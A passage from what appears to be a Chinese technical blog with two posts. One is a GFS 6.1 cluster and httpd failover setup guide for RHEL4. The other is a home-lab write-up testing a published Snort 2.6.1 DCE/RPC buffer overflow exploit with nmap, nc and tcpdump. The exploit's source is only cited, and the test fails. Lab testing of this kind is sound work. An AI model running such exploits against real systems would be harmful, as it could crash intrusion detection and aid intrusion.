rpm -ivh magma*

1.3 安装dlm-kernel-2.6.9-37.7.src.rpm
rpm -iv dlm-kernel-2.6.9-37.7.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba –nodeps dlm-kernel.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh dlm-kern*

1.4 安装dlm-1.0.0-5.src.rpm
rpm -iv dlm-1.0.0-5.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba dlm.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh –nodeps dlm-1.0.0-5.x86_64.rpm
rpm -ivh dlm-debuginfo-1.0.0-5.x86_64.rpm
rpm -ivh dlm-devel-1.0.0-5.x86_64.rpm

1.5 安装ccs-1.0.2-0.src.rpm
rpm -iv ccs-1.0.2-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba ccs.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh ccs*

1.6 安装gulm-1.0.4-0.src.rpm
rpm -iv gulm-1.0.4-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba gulm.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh gulm-*

1.7 安装magma-plugins-1.0.2-0.src.rpm
rpm -iv magma-plugins-1.0.2-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba magma-plugins.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh magma-plugins*

1.8 安装cman-1.0.11-0.src.rpm
rpm -iv cman-1.0.11-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba cman.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh cman-*

1.9 安装fence-1.32.10-0.src.rpm
rpm -iv fence-1.32.10-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba fence.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh fence-*

1.10 安装iddev-2.0.0-3.src.rpm
rpm -iv iddev-2.0.0-3.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba iddev.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh iddev-*

1.11 安装perl-Net-Telnet-3.03-1.2.el4.rf.src.rpm
可从http://ftp.belnet.be/packages/dr … -1.2.el4.rf.src.rpm 下载
rpm -iv perl-Net-Telnet-3.03-1.2.el4.rf.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba perl-Net-Telnet.spec
cd /usr/src/redhat/RPMS/noarch/
rpm -ivh perl-Net-Telnet-3.03-1.2.el4.rf.noarch.rpm

1.13 安装piranha-0.8.1-1.src.rpm
rpm -iv piranha-0.8.1-1.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba piranha.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh piranha-* –nodeps

1.14 安装rgmanager-1.9.38-0.src.rpm
rpm -iv rgmanager-1.9.38-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba rgmanager.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh rgmanager-*

1.15 安装system-config-cluster-1.0.16-1.0.src.rpm
rpm -iv system-config-cluster-1.0.16-1.0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba system-config-cluster.spec
cd /usr/src/redhat/RPMS/noarch/
rpm -ivh system-config-cluster-1.0.16-1.0.noarch.rpm

1.16 安装GFS-kernel-2.6.9-42.1.src.rpm
rpm -iv GFS-kernel-2.6.9-42.1.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba –nodeps GFS-kernel.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh GFS-kern*

1.17 安装GFS-6.1.2-0.src.rpm
rpm -iv GFS-6.1.2-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba GFS.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh GFS-6.1.2-0.x86_64.rpm
rpm -ivh GFS-debuginfo-6.1.2-0.x86_64.rpm

1.18 安装gnbd-kernel-2.6.9-9.12.src.rpm
rpm -iv gnbd-kernel-2.6.9-9.12.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba –nodeps gnbd-kernel.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh gnbd-kern*

1.19 安装gnbd-1.0.1-1.src.rpm
rpm -iv gnbd-1.0.1-1.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba gnbd.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh gnbd-1.0.1-1.x86_64.rpm
rpm -ivh gnbd-debuginfo-1.0.1-1.x86_64.rpm

1.20 安装lvm2-cluster-2.01.14-1.0.RHEL4.src.rpm
rpm -iv lvm2-cluster-2.01.14-1.0.RHEL4.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba lvm2-cluster.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh lvm2-cluster*

1.21 安装rgmanager-1.9.38-0.src.rpm
rpm -iv rgmanager-1.9.38-0.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba rgmanager.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh rgmanager-*

1.22 安装ipvsadm-1.24-7.src.rpm
rpm -iv ipvsadm-1.24-7.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba ipvsadm.spec
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh ipvsadm-*
安装完毕

2. 完成GFS server的配置(该文章参考suran007 的GFS6.1 ON RHAS4 U2安装文档)

2.1 确保相关设备的主机名和IP地址的对应关系都在/etc/hosts中
例:
10.1.5.161 host1
10.1.5.162 host2
10.1.5.163 host3 #host3作为gnbd的server

2.2 在host3上配置GFS通过gnbd进行export
启动gnbd_serv进程
root@host3 # /sbin/gnbd_serv –v –n
导出设备
root@host3# gnbd_export -v -e gfs -d /dev/sdb1 –c
查看export状态信息
root@host3# gnbd_export -v -l
完成GFS server,为了使实验更顺利,建议将防火墙停掉 service iptables stop

3. 使用system-config-cluster工具对node1和node2进行配置
在node1的命令格式下输入:system-config-cluster,进入配置界面
3.1然后在系统中,第一次配置会提示是否要创建配置文件/etc/cluster/cluster.conf,点击”create ”
3.2然后选择 锁机制,选择dlm。
3.3添加cluster nodes。
点击“add a cluster node”,添加node1,quorum votes填1。
点击“add a cluster node”,添加node2,quorum votes填1。
3.4 添加fence设备
在”fence device”中,选择“add a fence device”,这里添加的是”manual Fencing”,名字任意,这里写”web”。
在”cluster Nodes->node1和node2”,中“manange fencing for this node”,选择”add a fence level”。
3.5 创建”failover domains”
在“manager resource->failover domains”中,”create a failover domain”,名称为web
点击“manager resource->failover domains->web”,”edit failover domain propertis”,在”available cluster node2″中,将node1和node2都添加进取。
3.6 创建”resource”
“create a resource”,选择IP address,地址为“10.1.5.169″,后边的monitor link要选中。
“create a resource”,选择script,name 为”httpd”,script为”/etc/init.d/httpd”。
先保存,然后将cluster.conf传到node2相同位置一份。下边要配置gfs的一些resource,但是前提是cluster mananger的进程需要启动才能进行设置。
4. 配置GFS参数
启动cluster进程顺序:
service ccsd start
service cman start
service fenced start
service clvmd start
service gfs start
service rgmanager start
然后在node1上,首先
modprobe gnbd
将gfs通过gnbd倒入:gnbd_import -v -i node3
检查加载状态:gnbd_import -v -l
modeprobe gfs
gfs_mkfs -p lock_dlm -t cluster1:gfs -j 2 /dev/gnbd/gfs 创建文件系统
在node2上重复此操作,只是不用再重做创建文件系统的操作
再打开system-config-cluster,
接着创建”resource”
“create a resource”,选择GFS,name “web_content”,mount point:”/gfs”,device:”dev/gnbd/gfs”。

5.配置service
由于是为了实现httpd的集群,因此需要对/etc/httpd/conf/httpd.conf一些内容进行修改,包括
设置监听地址为floating ip:Listen 10.1.5.169:80
修改DocumentRoot 为”/gfs/”

同时chkconfig httpd off,将httpd 的自启动关闭
“service”,”create a service”, name设为httpd。
failover domain为 web。
点”add a shared resource to this service” ,首先把ip address加入。
选择”10.1.5.169 ip address share”,然后再“attach a shared resource to the selecetion”,分别添加刚才设的script和gfs的resource。
保存配置,并复制该文件到node2。

分别重新启动进程:
service rgmanager stop
service gfs stop
service clvmd stop
service fenced stop
service cman stop
service ccsd stop

service ccsd start
service cman start
service fenced start
service clvmd start
service gfs start
service rgmanager start

6. 开启service
打开,system-config-cluster,如果刚才的管理进程都正常的话,将会有cluster management的tab。
在service 中,点击httpd 按”enable”启动。

debug技巧:如果无法正常启动,尝试着去掉一些resource,然后再看是否正常启动,来定位故障。

snort DCE/RPC Preprocessor Buffer Overflow攻击测试

针对snort 2.6.1 DCE/RPC Preprocessor Buffer Overflow的攻击代码已经出现一阵子。
今天有时间拿来试验一下

首先在http://www.milw0rm.com/exploits/3362上有代码。
从说明可以得知,该代码Scapy。
scapy可以到http://www.secdev.org/projects/scapy/去下载,由于我对python不熟悉,因此只是摸索的去用。scapy功能非常强大,但是需要良好的python功底。看来学好shell后,是要好好学学perl或者python了。

将scapy.py下载到/tmp/目录下,同时将exploit的代码保存为snort-Dos.py,也放在/tmp目录下,该机器的ip地址为10.1.5.161。

我在先前在10.1.5.101这台机器上搭建过一个snort+BASE+apache+mysql的环境,但是由于感觉BASE有些麻烦,因此在这次试验时,配置/etc/snort/snort.conf
在output database: log, mysql, user=snort password=snort dbname=snort host=localhost这行前将先前的配置前加#(注释掉)
让snort产生的日志只写入到/var/log/snort/alert中

1. 首先在安装snort的主机上开启snort:
[root@snort ~]# snort -d -c /etc/snort/snort.conf -i eth0
2.再在snort主机上开启一个终端,使用
[root@snort ~]# tail -f /var/log/snort/alert
来监控snort新产生的日志。
3.在10.1.5.161这台设备上先扫描进行测试:
[root@attacker ~]#nmap -sS 10.1.5.101
4. snort主机上的,
[root@snort ~]# tail -f /var/log/snort/alert 产生更新,证实snort正常生效。
[code]
[**] [1:469:4] ICMP PING NMAP [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/03-23:19:57.184828 10.1.5.161 -> 10.1.5.101
ICMP TTL:47 TOS:0×0 ID:35824 IpLen:20 DgmLen:28
Type:8 Code:0 ID:21771 Seq:57182 ECHO
[Xref => http://www.whitehats.com/info/IDS162]
…….[/code]
5.使用攻击代码:
[root@attacker /tmp]#./snort-Dos.py 10.1.5.101

尝试N遍。在nmap -sS 10.1.5.101
再在snort查看log,依然有正常日志产生,并没有像代码描述中所说–snort会crash掉。
6.尝试其他可能性。
由于snort是linux主机,并没有tcp的139端口,猜想会不会是这个原因。
然后开启新的终端在[root@snort ~]#nc -l -p 139,再进行尝试依然没有成功crash。
7.在snort主机上开启tcpdump -i eth0 not port 22 and host 10.1.5.101 -s 0 -w snort-Dos.cap,然后使用ethereal查看数据包格式,发现并没什么异常的地方。

希望有crash经验的人能帮我分析一下是什么原因,以让我将这片试验文档写完。thanks